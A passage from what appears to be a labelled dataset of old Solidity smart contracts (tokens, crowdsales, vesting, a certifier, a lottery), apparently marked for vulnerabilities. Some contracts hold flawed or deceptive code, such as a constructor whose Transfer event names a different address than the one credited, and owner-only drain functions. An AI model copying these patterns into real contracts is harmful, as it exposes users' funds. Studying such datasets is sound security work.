function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract SODIUMTOKEN is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public startDate;
uint public bonusEnds;
uint public endDate;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function SODIUMTOKEN() public {
symbol = "SODIUM";
name = "SODIUM TOKEN";
decimals = 18;
_totalSupply = 30000000000000000000000000000;
balances[0x78437f6724C41756619910e389B716EE00B0F1EA] = _totalSupply;
Transfer(address(0), 0x8B877f7464818843908D289A458A58C87fAAA174, _totalSupply);
bonusEnds = now + 4 weeks;
endDate = now + 8 weeks;
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 22000000;
} else {
tokens = msg.value * 20000000;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,548 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract CC is SafeMath{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public owner;
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
function CC(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
owner = msg.sender;
}
function transfer(address _to, uint256 _value) {
if (_to == 0x0) throw;
if (_value <= 0) throw;
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
Transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value)
returns (bool success) {
if (_value <= 0) throw;
allowance[msg.sender][_spender] = _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (_to == 0x0) throw;
if (_value <= 0) throw;
if (balanceOf[_from] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
if (_value > allowance[_from][msg.sender]) throw;
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) throw;
if (_value <= 0) throw;
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
totalSupply = SafeMath.safeSub(totalSupply,_value);
Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) throw;
if (_value <= 0) throw;
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) returns (bool success) {
if (freezeOf[msg.sender] < _value) throw;
if (_value <= 0) throw;
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
Unfreeze(msg.sender, _value);
return true;
}
function withdrawEther(uint256 amount) {
if(msg.sender != owner)throw;
owner.transfer(amount);
}
function() payable {
}
} | 1 | 3,682 |
pragma solidity ^0.4.15;
contract Owned {
modifier only_owner {
if (msg.sender != owner)
return;
_;
}
event NewOwner(address indexed old, address indexed current);
function setOwner(address _new) only_owner { NewOwner(owner, _new); owner = _new; }
address public owner = msg.sender;
}
contract Certifier {
event Confirmed(address indexed who);
event Revoked(address indexed who);
function certified(address _who) constant returns (bool);
function get(address _who, string _field) constant returns (bytes32) {}
function getAddress(address _who, string _field) constant returns (address) {}
function getUint(address _who, string _field) constant returns (uint) {}
}
contract SimpleCertifier is Owned, Certifier {
modifier only_delegate {
assert(msg.sender == delegate);
_;
}
modifier only_certified(address _who) {
if (!certs[_who].active)
return;
_;
}
struct Certification {
bool active;
mapping (string => bytes32) meta;
}
function certify(address _who) only_delegate {
certs[_who].active = true;
Confirmed(_who);
}
function revoke(address _who) only_delegate only_certified(_who) {
certs[_who].active = false;
Revoked(_who);
}
function certified(address _who) constant returns (bool) { return certs[_who].active; }
function get(address _who, string _field) constant returns (bytes32) { return certs[_who].meta[_field]; }
function getAddress(address _who, string _field) constant returns (address) { return address(certs[_who].meta[_field]); }
function getUint(address _who, string _field) constant returns (uint) { return uint(certs[_who].meta[_field]); }
function setDelegate(address _new) only_owner { delegate = _new; }
mapping (address => Certification) certs;
address public delegate = msg.sender;
}
contract ProofOfSMS is SimpleCertifier {
modifier when_fee_paid {
if (msg.value < fee) {
RequiredFeeNotMet(fee, msg.value);
return;
}
_;
}
event RequiredFeeNotMet(uint required, uint provided);
event Requested(address indexed who);
event Puzzled(address who, bytes32 puzzle);
event LogAddress(address test);
function request() payable when_fee_paid {
if (certs[msg.sender].active) {
return;
}
Requested(msg.sender);
}
function puzzle (address _who, bytes32 _puzzle) only_delegate {
puzzles[_who] = _puzzle;
Puzzled(_who, _puzzle);
}
function confirm(bytes32 _code) returns (bool) {
LogAddress(msg.sender);
if (puzzles[msg.sender] != sha3(_code))
return;
delete puzzles[msg.sender];
certs[msg.sender].active = true;
Confirmed(msg.sender);
return true;
}
function setFee(uint _new) only_owner {
fee = _new;
}
function drain() only_owner {
require(msg.sender.send(this.balance));
}
function certified(address _who) constant returns (bool) {
return certs[_who].active;
}
mapping (address => bytes32) puzzles;
uint public fee = 30 finney;
} | 1 | 4,077 |
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startBlock;
uint256 public endBlock;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startBlock, uint256 _endBlock, uint256 _rate, address _wallet) {
require(_startBlock >= block.number);
require(_endBlock >= _startBlock);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startBlock = _startBlock;
endBlock = _endBlock;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
uint256 current = block.number;
bool withinPeriod = current >= startBlock && current <= endBlock;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return block.number > endBlock;
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
mapping (address => bool) public whitelist;
function addToWhitelist(address buyer) public onlyOwner {
require(buyer != 0x0);
whitelist[buyer] = true;
}
function isWhitelisted(address buyer) public constant returns (bool) {
return whitelist[buyer];
}
function validPurchase() internal constant returns (bool) {
return super.validPurchase() || (!hasEnded() && isWhitelisted(msg.sender));
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ContinuousSale {
using SafeMath for uint256;
uint256 public constant BUCKET_SIZE = 12 hours;
MintableToken public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
uint256 public issuance;
uint256 public lastBucket = 0;
uint256 public bucketAmount = 0;
event TokenPurchase(address indexed investor, address indexed beneficiary, uint256 weiAmount, uint256 tokens);
function ContinuousSale(
uint256 _rate,
address _wallet,
MintableToken _token
) {
require(_rate != 0);
require(_wallet != 0);
rate = _rate;
wallet = _wallet;
token = _token;
}
function() payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(msg.value != 0);
prepareContinuousPurchase();
uint256 tokens = processPurchase(beneficiary);
checkContinuousPurchase(tokens);
}
function prepareContinuousPurchase() internal {
uint256 timestamp = block.timestamp;
uint256 bucket = timestamp - (timestamp % BUCKET_SIZE);
if (bucket > lastBucket) {
lastBucket = bucket;
bucketAmount = 0;
}
}
function checkContinuousPurchase(uint256 tokens) internal {
uint256 updatedBucketAmount = bucketAmount.add(tokens);
require(updatedBucketAmount <= issuance);
bucketAmount = updatedBucketAmount;
}
function processPurchase(address beneficiary) internal returns(uint256) {
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
return tokens;
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract MANAContinuousSale is ContinuousSale, Ownable {
uint256 public constant INFLATION = 8;
bool public started = false;
event RateChange(uint256 amount);
event WalletChange(address wallet);
function MANAContinuousSale(
uint256 _rate,
address _wallet,
MintableToken _token
) ContinuousSale(_rate, _wallet, _token) {
}
modifier whenStarted() {
require(started);
_;
}
function start() onlyOwner {
require(!started);
uint256 finalSupply = token.totalSupply();
uint256 annualIssuance = finalSupply.mul(INFLATION).div(100);
issuance = annualIssuance.mul(BUCKET_SIZE).div(1 years);
started = true;
}
function buyTokens(address beneficiary) whenStarted public payable {
super.buyTokens(beneficiary);
}
function setWallet(address _wallet) onlyOwner {
require(_wallet != 0x0);
wallet = _wallet;
WalletChange(_wallet);
}
function setRate(uint256 _rate) onlyOwner {
rate = _rate;
RateChange(_rate);
}
function unpauseToken() onlyOwner {
MANAToken(token).unpause();
}
function pauseToken() onlyOwner {
MANAToken(token).pause();
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
token.finishMinting();
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract MANAToken is BurnableToken, PausableToken, MintableToken {
string public constant symbol = "MANA";
string public constant name = "Decentraland MANA";
uint8 public constant decimals = 18;
function burn(uint256 _value) whenNotPaused public {
super.burn(_value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract MANACrowdsale is WhitelistedCrowdsale, CappedCrowdsale, FinalizableCrowdsale {
uint256 public constant TOTAL_SHARE = 100;
uint256 public constant CROWDSALE_SHARE = 40;
uint256 public constant FOUNDATION_SHARE = 60;
uint256 public preferentialRate;
mapping (address => uint256) public buyerRate;
uint256 public initialRate;
uint256 public endRate;
MANAContinuousSale public continuousSale;
event WalletChange(address wallet);
event PreferentialRateChange(address indexed buyer, uint256 rate);
event InitialRateChange(uint256 rate);
event EndRateChange(uint256 rate);
function MANACrowdsale()
CappedCrowdsale(86206 ether)
WhitelistedCrowdsale()
FinalizableCrowdsale()
Crowdsale(4170650, 4170680, 12083, 0x000fb8369677b3065de5821a86bc9551d5e5eab9)
{
initialRate = 12083;
endRate = 7250;
preferentialRate = 12083;
continuousSale = createContinuousSaleContract();
MANAToken(token).pause();
}
function createTokenContract() internal returns(MintableToken) {
return new MANAToken();
}
function createContinuousSaleContract() internal returns(MANAContinuousSale) {
return new MANAContinuousSale(rate, wallet, token);
}
function setBuyerRate(address buyer, uint256 rate) onlyOwner public {
require(rate != 0);
require(isWhitelisted(buyer));
require(block.number < startBlock);
buyerRate[buyer] = rate;
PreferentialRateChange(buyer, rate);
}
function setInitialRate(uint256 rate) onlyOwner public {
require(rate != 0);
require(block.number < startBlock);
initialRate = rate;
InitialRateChange(rate);
}
function setEndRate(uint256 rate) onlyOwner public {
require(rate != 0);
require(block.number < startBlock);
endRate = rate;
EndRateChange(rate);
}
function getRate() internal returns(uint256) {
if (buyerRate[msg.sender] != 0) {
return buyerRate[msg.sender];
}
if (isWhitelisted(msg.sender)) {
return preferentialRate;
}
uint256 elapsed = block.number - startBlock;
uint256 rateRange = initialRate - endRate;
uint256 blockRange = endBlock - startBlock;
return initialRate.sub(rateRange.mul(elapsed).div(blockRange));
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 updatedWeiRaised = weiRaised.add(weiAmount);
uint256 rate = getRate();
uint256 tokens = weiAmount.mul(rate);
weiRaised = updatedWeiRaised;
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function setWallet(address _wallet) onlyOwner public {
require(_wallet != 0x0);
wallet = _wallet;
continuousSale.setWallet(_wallet);
WalletChange(_wallet);
}
function unpauseToken() onlyOwner {
require(isFinalized);
MANAToken(token).unpause();
}
function pauseToken() onlyOwner {
require(isFinalized);
MANAToken(token).pause();
}
function beginContinuousSale() onlyOwner public {
require(isFinalized);
token.transferOwnership(continuousSale);
continuousSale.start();
continuousSale.transferOwnership(owner);
}
function finalization() internal {
uint256 totalSupply = token.totalSupply();
uint256 finalSupply = TOTAL_SHARE.mul(totalSupply).div(CROWDSALE_SHARE);
token.mint(wallet, FOUNDATION_SHARE.mul(finalSupply).div(TOTAL_SHARE));
}
} | 0 | 1,040 |
pragma solidity ^0.4.18;
contract useqvolOracle{
address private owner;
function useqvolOracle()
payable
{
owner = msg.sender;
}
function updateUSeqvol()
payable
onlyOwner
{
owner.transfer(this.balance-msg.value);
}
modifier
onlyOwner
{
require(msg.sender == owner);
_;
}
} | 1 | 4,065 |
pragma solidity ^0.4.13;
library Math {
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract ReturnVestingRegistry is Ownable {
mapping (address => address) public returnAddress;
function record(address from, address to) onlyOwner public {
require(from != 0);
returnAddress[from] = to;
}
}
contract TerraformReserve is Ownable {
mapping (address => uint256) public lockedBalance;
uint public totalLocked;
ERC20 public manaToken;
address public landClaim;
bool public acceptingDeposits;
event LockedBalance(address user, uint mana);
event LandClaimContractSet(address target);
event LandClaimExecuted(address user, uint value, bytes data);
event AcceptingDepositsChanged(bool _acceptingDeposits);
function TerraformReserve(address _token) {
require(_token != 0);
manaToken = ERC20(_token);
acceptingDeposits = true;
}
function lockMana(address _from, uint256 mana) public {
require(acceptingDeposits);
require(mana >= 1000 * 1e18);
require(manaToken.transferFrom(_from, this, mana));
lockedBalance[_from] += mana;
totalLocked += mana;
LockedBalance(_from, mana);
}
function changeContractState(bool _acceptingDeposits) public onlyOwner {
acceptingDeposits = _acceptingDeposits;
AcceptingDepositsChanged(acceptingDeposits);
}
function setTargetContract(address target) public onlyOwner {
landClaim = target;
manaToken.approve(landClaim, totalLocked);
LandClaimContractSet(target);
}
function () public payable {
revert();
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
bool public revoked;
uint256 public released;
ERC20 public token;
function TokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
address _token
) {
require(_beneficiary != 0x0);
require(_cliff <= _duration);
beneficiary = _beneficiary;
start = _start;
cliff = _start.add(_cliff);
duration = _duration;
revocable = _revocable;
token = ERC20(_token);
}
modifier onlyBeneficiary() {
require(msg.sender == beneficiary);
_;
}
function changeBeneficiary(address target) onlyBeneficiary public {
require(target != 0);
beneficiary = target;
}
function release() public {
require(now >= cliff);
_releaseTo(beneficiary);
}
function releaseTo(address target) onlyBeneficiary public {
require(now >= cliff);
_releaseTo(target);
}
function _releaseTo(address target) internal {
uint256 unreleased = releasableAmount();
released = released.add(unreleased);
token.safeTransfer(target, unreleased);
Released(released);
}
function revoke() onlyOwner public {
require(revocable);
require(!revoked);
_releaseTo(beneficiary);
token.safeTransfer(owner, token.balanceOf(this));
revoked = true;
Revoked();
}
function releasableAmount() public constant returns (uint256) {
return vestedAmount().sub(released);
}
function vestedAmount() public constant returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
function releaseForeignToken(ERC20 _token, uint256 amount) onlyOwner {
require(_token != token);
_token.transfer(owner, amount);
}
} | 1 | 2,760 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract HappyBeeToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function HappyBeeToken() public {
symbol = "HBEE";
name = "Happy Bee Token";
decimals = 18;
_totalSupply = 5000000000000000000000000;
balances[0x3A26dE9Ac4F3Bbb586F9dA30E0eA0abcE205EA77] = _totalSupply;
Transfer(address(0), 0x3A26dE9Ac4F3Bbb586F9dA30E0eA0abcE205EA77, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,120 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address owner, address spender) public constant returns (uint256);
function balanceOf(address who) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function transfer(address _to, uint256 _value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Play0x_LottoBall {
using SafeMath for uint256;
using SafeMath for uint128;
using SafeMath for uint40;
using SafeMath for uint8;
uint public jackpotSize;
uint public tokenJackpotSize;
uint public MIN_BET;
uint public MAX_BET;
uint public MAX_AMOUNT;
uint public maxProfit;
uint public maxTokenProfit;
uint8 public platformFeePercentage = 15;
uint8 public jackpotFeePercentage = 5;
uint8 public ERC20rewardMultiple = 5;
uint constant BetExpirationBlocks = 250;
uint public lockedInBets;
uint public lockedTokenInBets;
bytes32 bitComparisonMask = 0xF;
address public owner;
address private nextOwner;
address public manager;
address private nextManager;
address public secretSigner;
address public ERC20ContractAddres;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
struct Bet {
uint amount;
uint40 placeBlockNumber;
address gambler;
}
mapping (uint => Bet) public bets;
uint32[] public withdrawalMode;
event PlaceBetLog(address indexed player, uint amount,uint8 rotateTime);
event ToManagerPayment(address indexed beneficiary, uint amount);
event ToManagerFailedPayment(address indexed beneficiary, uint amount);
